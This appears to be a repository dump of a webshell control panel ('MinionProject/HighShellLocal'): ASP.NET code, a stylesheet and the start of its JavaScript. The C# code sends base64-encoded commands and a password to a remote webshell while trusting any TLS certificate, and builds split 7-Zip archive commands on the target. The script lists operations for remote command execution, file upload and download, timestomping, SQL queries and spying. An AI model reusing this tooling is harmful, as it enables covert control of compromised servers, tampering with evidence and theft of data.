else\r\n                ret = \"Error : Cannot uninstall module : \" + modulePath;\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        responseAjax(ret);\r\n    }\r\n\r\n        #endregion\r\n\r\n    void cmd7z(string clevel, string address7z, string files, string volumSize, string vMode, string exclude)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            string exludeStr = string.Empty;\r\n            if (!string.IsNullOrEmpty(exclude))\r\n            {\r\n                string[] temp = exclude.Split(',');\r\n                foreach (string item in temp)\r\n                {\r\n                    exludeStr += \" -xr!\" + item;\r\n                }\r\n            }\r\n            ret = SendRequest(url, new NameValueCollection()\r\n            {\r\n                {\"m\", ToBase64(((int) method.command).ToString())},\r\n                {\"p\", ToBase64(p)},\r\n                {\r\n                    \"cmd\", ToBase64(string.Format(\"{0} {1} a \\\"{2}\\\" {3}{4}{5} 2>&1\",\r\n                        moduleFolder + ModuleFileNameTarget[ModuleName.mdl7z.ToString()].Value,\r\n                        clevel,\r\n                        address7z,\r\n                        files,\r\n                        (string.IsNullOrEmpty(volumSize) ? \"\" : \"-v\" + volumSize + vMode),\r\n                        exludeStr\r\n                        )\r\n                        )\r\n                }\r\n            });\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        responseAjax(ret);\r\n    }\r\n\r\n    string SendRequest(string url, NameValueCollection values)\r\n    {\r\n        string response = string.Empty;\r\n\r\n        string param = string.Empty;\r\n\r\n        foreach (var item in values.AllKeys)\r\n        {\r\n            if (!string.IsNullOrEmpty(param))\r\n                param += \"&\";\r\n            param += item + \"=\" + System.Web.HttpUtility.UrlEncode(isAjax ? values[item] : ToBase64(values[item]));\r\n        }\r\n\r\n        using (WebClient wc = new WebClient())\r\n        {\r\n            ServicePointManager.ServerCertificateValidationCallback = (a, b, c, d) => true;\r\n            wc.Headers[HttpRequestHeader.ContentType] = \"application/x-www-form-urlencoded\";\r\n            response = FromBase64(wc.UploadString(url, param));\r\n        }\r\n\r\n        return response;\r\n    }\r\n\r\n    public static void CreateEmptyFile(string filename)\r\n    {\r\n        File.Create(filename).Close();\r\n    }\r\n\r\n    string sizeFix(long size, bool round = false)\r\n    {\r\n        double s = size;\r\n        if (s < 1024)\r\n            return s + \" B\";\r\n        s = s / 1024;\r\n        if (s < 1024)\r\n            return (round ? (int) s : Math.Round(s, 2)) + \" KB\";\r\n        s = s / 1024;\r\n        if (s < 1024)\r\n            return (round ? (int) s : Math.Round(s, 2)) + \" MB\";\r\n        s = s / 1024;\r\n        if (s < 1024)\r\n            return (round ? (int) s : Math.Round(s, 2)) + \" GB\";\r\n        s = s / 1024;\r\n        return (round ? (int) s : Math.Round(s, 2)) + \" TB\";\r\n    }\r\n\r\n    string timeFix(long msec)\r\n    {\r\n        int modSecond = 0;\r\n        int modMinute = 0;\r\n        int modHour = 0;\r\n        int modDay = 0;\r\n        double s = msec;\r\n        if (s < 1000) return (int) s + \" msec\";\r\n        s = s / 1000;\r\n        modSecond = (int) s;\r\n        if (s < 60) return modSecond + \" sec\";\r\n        s = s / 60;\r\n        modSecond = modSecond % 60;\r\n        modMinute = (int) s;\r\n        if (s < 60) return modMinute + \" min\" + (modSecond == 0 ? \"\" : \" \" + modSecond + \" sec\");\r\n        s = s / 60;\r\n        modMinute = modMinute % 60;\r\n        modHour = (int) s;\r\n        if (s < 24) return modHour + \" hour\" + (modMinute == 0 ? \"\" : \" \" + modMinute + \" min\") /*+ (modSecond == 0 ? \"\" : \" \" + modSecond + \" sec\")*/;\r\n        s = s / 24;\r\n        modHour = modHour % 24;\r\n        modDay = (int) s;\r\n        if (s < 365) return modDay + \" day\" + (modHour == 0 ? \"\" : \" \" + modHour + \" hour\") /*+ (modMinute == 0 ? \"\" : \" \" + modMinute + \" min\")+ (modSecond == 0 ? \"\" : \" \" + modSecond + \" sec\")*/;\r\n        s = s / 365;\r\n        modDay = modDay % 365;\r\n        return (int) s + \" year\" + (modDay == 0 ? \"\" : \" \" + modDay + \" day\") /*+ (modHour == 0 ? \"\" : \" \" + modHour + \" hour\")+ (modMinute == 0 ? \"\" : \" \" + modMinute + \" min\")+ (modSecond == 0 ? \"\" : \" \" + modSecond + \" sec\")*/;\r\n    }\r\n\r\n\r\n    \r\n    </script>\r\n</head>\r\n<body>\r\n    <div class=\"pusher contentPlace\" style=\"/*flex-grow: 1; flex-direction: column; display: flex; */\">\r\n        <div id=\"header\">\r\n            <!-- #include file =\"js/components/loginbar.html\" -->\r\n            <!-- #include file =\"js/components/maintab.html\" -->\r\n            <!-- #include file =\"js/components/cmd.html\" -->\r\n            <!-- #include file =\"js/components/explorer.html\" -->\r\n            <!-- #include file =\"js/components/targetcomputer.html\" -->\r\n            <!-- #include file =\"js/components/networkdownloader.html\" -->\r\n            <!-- #include file =\"js/components/upload.html\" -->\r\n            <!-- #include file =\"js/components/download.html\" -->\r\n            <!-- #include file =\"js/components/sqlserver.html\" -->\r\n            <!-- #include file =\"js/components/changetime.html\" -->\r\n            <!-- #include file =\"js/components/tardigrade.html\" -->\r\n        </div>\r\n        <!-- #include file =\"js/components/log.html\" -->\r\n    </div>\r\n    <!-- #include file =\"js/components/msgDeleteFile.html\" -->\r\n    <i title=\"Scroll Top\" class=\"circular large link chevron circle up icon\" style=\"right: 10px; bottom: 10px; position: fixed; z-index: 3333; background-color: #fff\" onclick=\"$('html, body').animate({ scrollTop: 0 }, 500);\"></i>\r\n    <i title=\"Clear Terminal\" class=\"circular large link paint brush icon\" style=\"right: 65px; bottom: 10px; position: fixed; z-index: 3333; background-color: #fff\" onclick=\"$('#log').text('');<%--$('#tbMain').sticky('refresh');--%>\"></i>\r\n</body>\r\n</html>\r\n<!-- #include file =\"js/components/includes.html\" -->\r\n<script>\r\n    <%= SpecialScript %>\r\n</script>\r\n"
  },
  {
    "path": "Webshells_and_Panel/MinionProject/Minion/HighShellLocal/css/main.css",
    "content": "﻿body, html {\r\n    margin: 0;\r\n    padding: 0;\r\n    direction: ltr;\r\n    /*background: linear-gradient(-135deg, #c850c0, #4158d0);*/\r\n    background: #4c4c4c;\r\n    color: #000 !important;\r\n}\r\n\r\nform {\r\n    margin: 0;\r\n}\r\n\r\n/** {\r\n    font: 14px arial;\r\n}*/\r\n\r\n* {\r\n    font-size: 14px;\r\n}\r\n/*.ui.input input {\r\n    padding:0.608em 1em !important\r\n}*/\r\n\r\nt {\r\n    width: 180px;\r\n    display: inline-block;\r\n    text-align: right;\r\n    padding-right: 5px;\r\n}\r\n\r\ng {\r\n    margin-left: 30px;\r\n}\r\n\r\ninput[type=\"text\"], input[type=\"file\"], textarea {\r\n    width: 60%;\r\n    background: #cbcbcb;\r\n    color: #000;\r\n    border: 1px solid #999;\r\n    margin-bottom: 3px;\r\n}\r\n\r\ninput[type=\"text\"] {\r\n    padding: 2px;\r\n}\r\n\r\ninput[type=\"button\"], input[type=\"submit\"] {\r\n    height: 23px;\r\n}\r\n\r\ninput[type=\"checkbox\"] {\r\n    width: 23px;\r\n    height: 24px;\r\n    position: absolute;\r\n    margin: 0;\r\n}\r\n\r\nhr {\r\n    margin: 0;\r\n    border: 0;\r\n    border-top: 1px solid #fff;\r\n}\r\n\r\n.h {\r\n    width: 90px;\r\n    text-align: center;\r\n    /*background: #6435c9;*/\r\n    color: #000;\r\n    vertical-align: middle;\r\n}\r\n\r\ntable {\r\n    margin: 0;\r\n    border-collapse: collapse;\r\n}\r\n\r\ntd {\r\n    padding:0\r\n}\r\n\r\n.b {\r\n    padding:5px;\r\n}\r\nbody {\r\n    /*flex-direction: column;\r\n    display: flex;\r\n    padding: 10px;*/\r\n    /*font-family: Lato,'Helvetica Neue',Arial,Helvetica,sans-serif*/\r\n}\r\n\r\ndiv.tbbt {\r\n    overflow: hidden;\r\n    border: 1px solid #ccc;\r\n    background-color: #aaa\r\n}\r\n\r\n    div.tbbt button {\r\n        background-color: inherit;\r\n        float: left;\r\n        border: none;\r\n        outline: none;\r\n        cursor: pointer;\r\n        padding: 14px 16px;\r\n        transition: 0.3s;\r\n        /*font-size: 17px;*/\r\n    }\r\n\r\n        div.tbbt button:hover {\r\n            background-color: #ddd\r\n        }\r\n\r\n        div.tbbt button.active {\r\n            background-color: #ccc\r\n        }\r\n\r\n.tb {\r\n    display: none;\r\n    border: 1px solid #ccc;\r\n    border-top: none;\r\n    background-color: #aaa\r\n}\r\n\r\n.loader {\r\n    border: 3px solid #f3f3f3;\r\n    border-radius: 50%;\r\n    border-top: 3px solid #3498db;\r\n    width: 16px;\r\n    height: 16px;\r\n    -webkit-animation: spin 2s linear infinite;\r\n    animation: spin 2s linear infinite;\r\n    position: absolute;\r\n}\r\n\r\n@-webkit-keyframes spin {\r\n    0% {\r\n        -webkit-transform: rotate(0deg);\r\n    }\r\n\r\n    100% {\r\n        -webkit-transform: rotate(360deg);\r\n    }\r\n}\r\n\r\n@keyframes spin {\r\n    0% {\r\n        transform: rotate(0deg);\r\n    }\r\n\r\n    100% {\r\n        transform: rotate(360deg);\r\n    }\r\n}\r\n\r\n#objFrame {\r\n    padding: 0 5px 5px 5px\r\n}\r\n\r\n.objRight {\r\n    display: table;\r\n    padding: 0 5px;\r\n    cursor: pointer;\r\n    float: left;\r\n    line-height: 24px;\r\n    border-radius: 0 5px 5px 0;\r\n}\r\n\r\n.objD {\r\n    background-color: #23a4ff\r\n}\r\n\r\n    .objD:hover {\r\n        background-color: #63beff\r\n    }\r\n\r\n.objN {\r\n    background-color: #23d7ff\r\n}\r\n\r\n    .objN:hover {\r\n        background-color: #72e5ff\r\n    }\r\n\r\n.objF {\r\n    margin-top: 5px;\r\n    min-height: 24px;\r\n}\r\n\r\n.objLeft {\r\n    position: relative;\r\n    padding: 0 5px;\r\n    float: left;\r\n    width: 90px;\r\n    background-color: #c3c3c3;\r\n    border-radius: 5px 0 0 5px;\r\n    line-height: 24px;\r\n}\r\n\r\n.objS {\r\n    text-align: right;\r\n    cursor: default;\r\n    overflow: hidden;\r\n    max-height: 24px;\r\n    min-height: 24px;\r\n}\r\n\r\n    .objS:hover {\r\n        background-color: #d3d3d3;\r\n    }\r\n\r\n.objB {\r\n    padding: 0 5px;\r\n    float: left;\r\n    line-height: 24px;\r\n}\r\n\r\n.objL {\r\n    display: inline-block;\r\n    margin-left: 3px;\r\n}\r\n\r\n.objLocHolder {\r\n    padding: 0 5px 0 5px;\r\n    min-height: 24px;\r\n    margin-top: 5px;\r\n}\r\n\r\n.objError {\r\n    background-color: #ff2e2e;\r\n    color: white;\r\n}\r\n\r\n    .objError:hover {\r\n        background-color: #8a1b1b;\r\n    }\r\n\r\n.driveSizeProgress {\r\n    width: 200px;\r\n    border: 1px solid white;\r\n    background-color: #d8d6d6;\r\n    height: 24px;\r\n    float: left;\r\n    margin-left: 5px;\r\n    border-radius: 5px;\r\n}\r\n\r\n    .driveSizeProgress div {\r\n        background-color: #26a0da;\r\n        height: 22px;\r\n        border-radius: 5px;\r\n    }\r\n\r\n.driveSizeText {\r\n    float: left;\r\n    margin-left: 5px;\r\n}\r\n\r\n    .driveSizeText .t {\r\n        padding: 0 5px;\r\n        display: inline-block;\r\n        color: #444444;\r\n        border: 1px solid #e0e0e0;\r\n        border-radius: 5px 0 0 5px;\r\n        line-height: 22px;\r\n    }\r\n\r\n    .driveSizeText .v {\r\n        background-color: #e0e0e0;\r\n        padding: 0 5px;\r\n        display: inline-block;\r\n        border-radius: 0 5px 5px 0;\r\n        line-height: 24px;\r\n    }\r\n\r\n.cat {\r\n    float: left;\r\n    /*padding-top: 5px;*/\r\n}\r\n\r\n#log {\r\n    /*flex: 1 0;\r\n    overflow-y: scroll;\r\n    min-height: 500px;*/\r\n    margin: 0;\r\n    padding-top: 5px;\r\n    color: #fff;\r\n    font-family: \"Lucida Console\";\r\n}\r\n\r\n.iCmd {\r\n    float: left;\r\n    margin-left: 5px;\r\n    border-radius: 5px;\r\n    cursor: pointer;\r\n    background-color: #d6d6d6;\r\n    display: inline-block;\r\n    padding: 0 5px;\r\n    line-height: 20px;\r\n    user-select: none;\r\n    border: 2px solid;\r\n}\r\n\r\n.iInput {\r\n    float: left;\r\n    margin-left: 5px;\r\n    border: 2px solid;\r\n    border-radius: 5px;\r\n}\r\n\r\n    .iInput .t {\r\n        display: inline-block;\r\n        color: #444444;\r\n        border-radius: 5px 0 0 5px;\r\n        cursor: default;\r\n        background-color: #cbcbcb;\r\n    }\r\n\r\n        .iInput .t input {\r\n            border: none;\r\n            margin: 0;\r\n            padding: 0 5;\r\n            line-height: 22px;\r\n            background: none;\r\n            width: 100px;\r\n            height: 20px;\r\n        }\r\n\r\n    .iInput .v {\r\n        background-color: #d6d6d6;\r\n        padding: 0 5px;\r\n        display: inline-block;\r\n        border-radius: 0 5px 5px 0;\r\n        cursor: pointer;\r\n        border-left: 2px solid;\r\n        line-height: 20px;\r\n    }\r\n\r\n    .iInput.iRename {\r\n        color: #a291fb;\r\n        border-color: #a291fb;\r\n    }\r\n\r\n        .iInput.iRename .v {\r\n            border-color: #a291fb;\r\n        }\r\n\r\n            .iInput.iRename .v:hover {\r\n                color: #fff;\r\n                background-color: #8a73ff;\r\n                border-color: #8a73ff;\r\n            }\r\n\r\n            .iInput.iRename .v:active {\r\n                background-color: #7860f9;\r\n            }\r\n\r\n    .iInput.iCopy {\r\n        color: #a96216;\r\n        border-color: #a96216;\r\n    }\r\n\r\n        .iInput.iCopy .v {\r\n            border-color: #a96216;\r\n        }\r\n\r\n            .iInput.iCopy .v.copy {\r\n                border-radius: 0;\r\n            }\r\n\r\n            .iInput.iCopy .v:hover {\r\n                color: #fff;\r\n                background-color: #c86f11;\r\n            }\r\n\r\n            .iInput.iCopy .v:active {\r\n                background-color: #a96216;\r\n            }\r\n\r\n.iDownload {\r\n    color: #ff5bd1;\r\n    border-color: #ff5bd1;\r\n}\r\n\r\n    .iDownload:hover {\r\n        color: #fff;\r\n        border-color: #ff74d8;\r\n        background-color: #ff74d8;\r\n    }\r\n\r\n    .iDownload:active {\r\n        background-color: #ff5bd1;\r\n    }\r\n\r\n.iDelete {\r\n    color: #dc73ff;\r\n    border-color: #dc73ff;\r\n}\r\n\r\n    .iDelete:hover {\r\n        color: #fff;\r\n        border-color: #d65aff;\r\n        background-color: #d65aff;\r\n    }\r\n\r\n    .iDelete:active {\r\n        background-color: #cf40ff;\r\n    }\r\n\r\n:after, :before {\r\n    box-sizing: inherit;\r\n}\r\n.loadingM:before {\r\n    position: absolute;\r\n    content: '';\r\n    top: 50%;\r\n    left: 50%;\r\n    margin: -0.65em 0em 0em -0.65em;\r\n    width: 1.3em;\r\n    height: 1.3em;\r\n    border-radius: 10px;\r\n    border: 0.2em solid rgba(0, 0, 0, 0.15);\r\n}\r\n\r\n.loadingM:after {\r\n    position: absolute;\r\n    content: '';\r\n    top: 50%;\r\n    left: 50%;\r\n    margin: -0.65em 0em 0em -0.65em;\r\n    width: 1.3em;\r\n    height: 1.3em;\r\n    -webkit-animation: button-spin 0.6s linear;\r\n    animation: button-spin 0.6s linear;\r\n    -webkit-animation-iteration-count: infinite;\r\n    animation-iteration-count: infinite;\r\n    border-radius: 500rem;\r\n    border-color: #FFFFFF transparent transparent;\r\n    border-style: solid;\r\n    border-width: 0.2em;\r\n    box-shadow: 0px 0px 0px 1px transparent;\r\n}\r\n\r\n.loadingM {\r\n    position: relative;\r\n    cursor: default;\r\n    text-shadow: none !important;\r\n    color: transparent !important;\r\n    opacity: 1;\r\n    pointer-events: auto;\r\n    -webkit-transition: all 0s linear,opacity .1s ease;\r\n    transition: all 0s linear,opacity .1s ease;\r\n    box-shadow: 0 0 0 0 rgba(34,36,38,.15) inset;\r\n}\r\n\r\n@-webkit-keyframes button-spin {\r\n    from {\r\n        -webkit-transform: rotate(0deg);\r\n        transform: rotate(0deg);\r\n    }\r\n\r\n    to {\r\n        -webkit-transform: rotate(360deg);\r\n        transform: rotate(360deg);\r\n    }\r\n}\r\n\r\n@keyframes button-spin {\r\n    from {\r\n        -webkit-transform: rotate(0deg);\r\n        transform: rotate(0deg);\r\n    }\r\n\r\n    to {\r\n        -webkit-transform: rotate(360deg);\r\n        transform: rotate(360deg);\r\n    }\r\n}\r\n\r\n.ml10 {\r\n    margin-left:10px !important;\r\n}\r\n\r\n.ml5 {\r\n    margin-left: 5px !important;\r\n}\r\n\r\n/*.button {\r\n    cursor: pointer;\r\n    display: inline-block;\r\n    min-height: 1em;\r\n    outline: 0;\r\n    border: none;\r\n    vertical-align: baseline;\r\n    background: #767676 none;\r\n    color: #fff;\r\n    padding: 10px 15px;\r\n    text-transform: none;\r\n    text-shadow: none;\r\n    font-weight: 700;\r\n    line-height: 1em;\r\n    font-style: normal;\r\n    text-align: center;\r\n    text-decoration: none;\r\n    border-radius: .28571429rem;\r\n    box-shadow: 0 0 0 1px transparent inset, 0 0 0 0 rgba(34,36,38,.15) inset;\r\n    -webkit-user-select: none;\r\n    -moz-user-select: none;\r\n    -ms-user-select: none;\r\n    user-select: none;\r\n    -webkit-transition: opacity .1s ease,background-color .1s ease,color .1s ease,box-shadow .1s ease,background .1s ease;\r\n    transition: opacity .1s ease,background-color .1s ease,color .1s ease,box-shadow .1s ease,background .1s ease;\r\n    will-change: '';\r\n    -webkit-tap-highlight-color: transparent;\r\n}\r\n    .button:hover {\r\n        background-color: #838383;\r\n    }*/\r\n\r\n/*.active.button {\r\n    background-color: #21ba45 !important;\r\n    background-image: none !important;\r\n    box-shadow: 0 0 0 1px transparent inset !important;\r\n}\r\n    .active.button:hover {\r\n        background-color: #16ab39 !important;\r\n    }*/\r\n/*.error.button {\r\n    background-color: #ff695e !important;\r\n    background-image: none !important;\r\n    box-shadow: 0 0 0 1px transparent inset !important;\r\n}\r\n\r\n    .error.button:hover {\r\n        background-color: #ff5144 !important;\r\n    }*/\r\n\r\n.button {\r\n    margin-right:0 !important\r\n}\r\n\r\n.micon {\r\n    display: inline-block;\r\n    opacity: 1;\r\n    width: 16px;\r\n    height: 16px;\r\n    float: left;\r\n    margin-right: 3px;\r\n}\r\n\r\n    .micon.compress {\r\n        background: url('img/box-zipper.png')\r\n    }\r\n    .micon.heart-empty {\r\n        background: url('img/heart-empty.png')\r\n    }\r\n    .micon.download-cloud {\r\n        background: url('img/download-cloud.png')\r\n    }\r\n    .micon.minus-button {\r\n        background: url('img/minus-button.png')\r\n    }\r\n.active .micon.heart-empty {\r\n    background: url('img/heart.png');\r\n}\r\n.error .micon.heart-empty {\r\n    background: url('img/exclamation-diamond.png');\r\n}\r\n\r\ninput.login:-webkit-autofill, input.login:-webkit-autofill:focus {\r\n    -webkit-box-shadow: 0 0 0px 1000px #21ba45 inset;\r\n}\r\ninput.logout:-webkit-autofill, input.logout:-webkit-autofill:focus {\r\n    -webkit-box-shadow: 0 0 0px 1000px #db2828 inset;\r\n}\r\n.login {\r\n    background-color: #21ba45 !important;\r\n}\r\n\r\n.logout {\r\n    background-color: #db2828 !important;\r\n}\r\n\r\n.button.loading.active i,\r\n.button.loading.error i,\r\n.button.loading i {\r\n    background: none !important;\r\n}\r\n    /*.button.loading:before {\r\n        border: 0.2em solid rgba(0, 0, 0, 0.3);\r\n        width: 16px;\r\n        height: 16px;\r\n        margin:-8px 0 0 -8px;\r\n    }\r\n    .button.loading:after {\r\n        width: 16px;\r\n        height: 16px;\r\n        margin: -8px 0 0 -8px;\r\n    }*/\r\n\r\n.objF .checkbox {\r\n    float: left;\r\n    margin: 3px 5px 0 0;\r\n}\r\n\r\n.objDate {\r\n    background: none;\r\n    border: 1px solid #23a4ff;\r\n    border-radius: 0;\r\n    line-height: 22px;\r\n    cursor: auto;\r\n}\r\n\r\n#loc {\r\n\r\n}\r\n.formLabel {\r\n    width: 150px;\r\n    display: inline-block;\r\n    text-align: right;\r\n}\r\n\r\n.contentPlace {\r\n    padding: 10px;\r\n    /*background-color: #424242 !important*/\r\n}\r\n\r\n.rightButton {\r\n    position: fixed;\r\n    top: 17px;\r\n    padding: 0px;\r\n    margin: 0px;\r\n    width: 35px;\r\n    height: 90px;\r\n    background: #000;\r\n    z-index: 15;\r\n    border-radius: 5px 0px 0px 5px;\r\n    cursor: pointer;\r\n    border: 1px solid #fff;\r\n    border-right: none;\r\n    right: 259px;\r\n    backface-visibility: visible !important;\r\n    visibility: visible;\r\n}\r\n.ui.right.sidebar {\r\n    overflow-y:visible !important;\r\n}\r\n.rightButton span {\r\n    color: #fff;\r\n    -moz-transform: rotate(-90deg);\r\n    -ms-transform: rotate(-90deg);\r\n    -o-transform: rotate(-90deg);\r\n    -webkit-transform: rotate(-90deg);\r\n    display: block;\r\n}\r\n\r\n/*.icon.big {\r\n    right: 23px;\r\n    bottom: 30px;\r\n    position: fixed;\r\n    background: #fff;\r\n    width: 32px;\r\n    height: 32px;\r\n    border-radius:3px;\r\n    cursor:pointer\r\n}\r\n    .icon.big:before {\r\n        font-size: 24px !important;\r\n        line-height: 32px;\r\n    }*/\r\n.ui.card.download {\r\n    margin: 5px 0 0 5px;\r\n    width: 242px\r\n}\r\n\r\nbody ::-webkit-scrollbar-thumb {\r\n    background: rgba(255, 255, 255, 0.54);\r\n}\r\n\r\n.ui.form .fields {\r\n    margin: 0 -.5em 5px !important;\r\n}\r\n\r\n.ui.form .field {\r\n    margin: 0 0 5px;\r\n}\r\n\r\n.ui.compact.labeled.icon.button {\r\n    height:36px;\r\n}\r\n.ui.compact.labeled.icon.button i {\r\n    width: 44px;\r\n}\r\n\r\n.ui.segment {\r\n    background:#ffffff61;\r\n    border-color: #fff;\r\n    padding: 0;\r\n}\r\n.ui.attached.segment {\r\n    border-color: #fff;\r\n}\r\n.ui.tabular.menu {\r\n    border-color: #fff;\r\n}\r\n\r\n    .ui.tabular.menu .active.item {\r\n        background: #ffffff61;\r\n        border: 1px solid #fff;\r\n        border-bottom: none;\r\n        margin-bottom: 0;\r\n    }\r\n    .ui.tabular.menu .item {\r\n        border-left: none;\r\n        border-right: none;\r\n        border-bottom: 1px solid #fff;\r\n    }\r\n.ui.attached.tabular.menu {\r\nborder:none\r\n}\r\n.ui.tabular.menu .active.item:hover {\r\n    cursor: default;\r\n    color: #000\r\n}\r\n\r\n    .ui.tabular.menu .item {\r\n        color:rgba(255,255,255,0.8);\r\n    }\r\n        .ui.tabular.menu .item:hover {\r\n            color: #fff;\r\n        }\r\n\r\n.dropdown-table-item, .item .hidden-label {\r\n    display: none;\r\n}\r\n.item .dropdown-table-item, .hidden-label {\r\n    display:inline-table;\r\n}\r\n\r\n.dropdown-table-header {\r\n    width: 100%;\r\n    border-bottom: 1px solid #ccc\r\n}\r\n.dropdown-table-item {\r\n    width: 100%;\r\n}\r\n.dropdown-table-header td {\r\n    padding: 5px 0;\r\n}\r\n.dropdown-table-header .clmn1, .dropdown-table-item .clmn1 {width:180px}\r\n.dropdown-table-header .clmn2, .dropdown-table-item .clmn2 {width:180px}\r\n.dropdown-table-header .clmn3, .dropdown-table-item .clmn3 {width:180px}\r\n.dropdown-table-header .clmn4, .dropdown-table-item .clmn4 {width:200px}\r\n.dropdown-table-header .clmn5, .dropdown-table-item .clmn5 {}\r\n.dropdown-table-header .clmn6, .dropdown-table-item .clmn6 {width:120px}\r\n\r\n\r\n.sqlTable {\r\n    font-family: \"Trebuchet MS\", Arial, Helvetica, sans-serif;\r\n    border-collapse: collapse;\r\n    width: 100%;\r\n}\r\n\r\n.sqlTable td, #sqlTable th {\r\n        border: 1px solid #ddd;\r\n        padding: 8px;\r\n    }\r\n.sqlTable tr {\r\n    background-color: #FFF;\r\n}\r\n.sqlTable tr:nth-child(even) {\r\n        background-color: #f2f2f2;\r\n    }\r\n\r\n.sqlTable tr:hover {\r\n        background-color: #ddd;\r\n    }\r\n\r\n.sqlTable th {\r\n        padding-top: 12px;\r\n        padding-bottom: 12px;\r\n        text-align: left;\r\n        background-color: #4CAF50;\r\n        color: white;\r\n    }"
  },
  {
    "path": "Webshells_and_Panel/MinionProject/Minion/HighShellLocal/js/main.js",
    "content": "﻿$(document).ready(function () {\r\n    $('#btnLogin').click();\r\n    //getLocation(function () { $(\"#mdlspy\").click(); });\r\n    //document.getElementById(\"chkModules\").click();\r\n    //spyCheckTimer();\r\n\r\n    //$('#stickyDirCommand')\r\n    //    .sticky({\r\n    //        context: '#stickyDirContext'\r\n    //    });\r\n\r\n\r\n    //$('#tbMain')\r\n    //    .sticky({\r\n    //        context: '#log'\r\n    //    });\r\n\r\n    $('.ui.dropdown').dropdown();\r\n    $('#cmbIP').dropdown({\r\n        fullTextSearch: 'exact',\r\n        match: 'text',\r\n        onLabelSelect: function (selectedLabels) {\r\n            var selectedValue = $(selectedLabels).attr('data-value');\r\n            if (selectedValue) {\r\n                $('#cmdSelectedLocation').text(selectedValue);\r\n                setAddress(selectedLabels, selectedValue);\r\n            }\r\n        },\r\n        action: function (text, value) {\r\n            console.log(text);\r\n            console.log(value);\r\n            $(this).dropdown(\"set selected\", value);\r\n            $(this).dropdown(\"refresh\");\r\n        }\r\n    });\r\n\r\n    $('.menu .item').tab();\r\n\r\n    $('#inpCmd').focus();\r\n\r\n    $(\".ui.toggle.button\").state({\r\n    });\r\n\r\n    $('#TargetComputerTable').DataTable({\r\n        \"order\": [[1, 'asc']],\r\n        \"paging\": false,\r\n        \"autoWidth\": false,\r\n            \"columnDefs\": [\r\n            { \"orderable\": false, \"targets\": 0 }\r\n        ]\r\n    });\r\n\r\n    $(\".ui.checkbox\").checkbox();\r\n    $('#TargetComputersCheckAll').checkbox({\r\n        onChecked: function () { TargetComputerSelectAllItem(); },\r\n        onUnchecked: function () { TargetComputerDeSelectAllItem(); }\r\n    });\r\n\r\n    $('.ui.button').popup();\r\n\r\n    LoadStorageSettings();\r\n});\r\n\r\nvar varNames = {\r\n    password:\"p\",\r\n    url: \"url\",\r\n    method: \"m\",\r\n    command: \"cmd\",\r\n    btnLogin: \"btnLogin\",\r\n    lblLocation: \"loc\",\r\n    explorer: \"exadd\",\r\n    getSize: \"gsize\",\r\n    download: \"don\",\r\n    changeTimeHidden:\"timeh\",\r\n    changeTimeFile:\"tfil\",\r\n    changeTimeTarget:\"ttar\",\r\n    changeTimeTime: \"ttim\",\r\n    installModuleName: \"mname\",\r\n    cookieNameUsername:\"cookieUsername\",\r\n    cookieNamePassword:\"cookiePassword\"\r\n};\r\n\r\nvar methodID = { \r\n    auth : 0,\r\n    command : 1,\r\n    upload : 2,\r\n    uploadbase64 : 3,\r\n    delete : 4,\r\n    download : 5,\r\n    changeTime : 6,\r\n    sqlQuery : 7,\r\n    explorer: 8,\r\n    getsize: 9,\r\n    getlocation: 10,\r\n    rename: 11,\r\n    copy: 12,\r\n    view: 13,\r\n    commandAjax:14,\r\n    downloadTest: 15,\r\n    checkModules: 16,\r\n    installModule: 17,\r\n    uninstallModule: 18,\r\n    cmd7z: 19,\r\n    authAjax: 20,\r\n    getlocationAjax: 21,\r\n    spycheck: 22,\r\n    localExplore: 23,\r\n    multiDelete: 24,\r\n    checkDownloadProgress: 25,\r\n    getIPFromNbt: 26,\r\n    GetLogicDrives: 27,\r\n    NetworkDownloaderCheck: 28,\r\n    NetworkDownloaderLog: 29,\r\n    NetworkDownloaderError: 30,\r\n    NetworkDownloaderDone: 31,\r\n    NetworkDownloaderDir: 32,\r\n    SaveLog: 33,\r\n    downloadDemo: 34,\r\n    downloadPause: 35,\r\n    downloadInfo: 36,\r\n    downloadLoad: 37,\r\n    downloadClose: 38,\r\n    downloadChangeStatusToRequested: 39\r\n};\r\n\r\nfunction copyLoc() {\r\n    copyToClipboard(document.getElementById(\"loc\"));\r\n}\r\n\r\nfunction subm() {\r\n    //var url = getElementValue(varNames.url);\r\n    //var frm = document.getElementsByClassName('form');\r\n    //for (var i = 0; i < frm.length; i++) {\r\n    //    frm.action = url;\r\n    //}\r\n    //var mmm = document.getElementsByClassName('mmm');\r\n    //for (var i = 0; i < mmm.length; i++) {\r\n    //    mmm[i].value = btoa(mmm[i].value);\r\n    //}\r\n}\r\nfunction reset() {\r\n    document.cookie = \"data=;expires=Thu, 01 Jan 1970 00:00:01 GMT;path=/\";\r\n    location.href = location.pathname;\r\n}\r\n\r\n//function openTab(ev, nm) {\r\n//    var i, tb, tblnk;\r\n//    tb = document.getElementsByClassName(\"tb\");\r\n//    for (i = 0; i < tb.length; i++) {\r\n//        tb[i].style.display = \"none\";\r\n//    }\r\n//    tblnk = document.getElementsByClassName(\"tblnk\");\r\n//    for (i = 0; i < tblnk.length; i++) {\r\n//        tblnk[i].className = \"tblnk\";\r\n//    }\r\n//    document.getElementById(nm).style.display = \"block\";\r\n//    ev.className += \" active\";\r\n\r\n//    $('#tbMain').sticky('refresh');\r\n//}\r\n\r\n//function fixLogSize()\r\n//{\r\n//    document.getElementById('log').style.height = \"calc(100% - \" + document.getElementById('header').offsetHeight + \")\";\r\n//}\r\n\r\nfunction loader(sender)\r\n{\r\n    //<span id=\"loader\" class=\"loader\" style=\"display:none\"></span>\r\n    var ldr = document.createElement(\"span\");\r\n    \r\n    ldr.className = \"loader\";\r\n    ldr.style.top = sender.getBoundingClientRect().top;\r\n    ldr.style.left = sender.getBoundingClientRect().left + sender.offsetWidth + 5;\r\n    document.body.appendChild(ldr);\r\n    return ldr;\r\n}\r\n\r\nfunction print(str, isAppendPrint) {\r\n    if (isAppendPrint || typeof isAppendPrint == 'undefined')\r\n    {\r\n        var log = document.getElementById(\"log\");\r\n        log.innerHTML = document.getElementById(\"log\").innerHTML + str + \"<br>\";\r\n    }\r\n    else\r\n        document.getElementById(\"log\").innerHTML = str;\r\n}\r\n\r\nfunction logout(sender)\r\n{\r\n    var urlBox = document.getElementById(varNames.url);\r\n    urlBox.value = \"\";\r\n    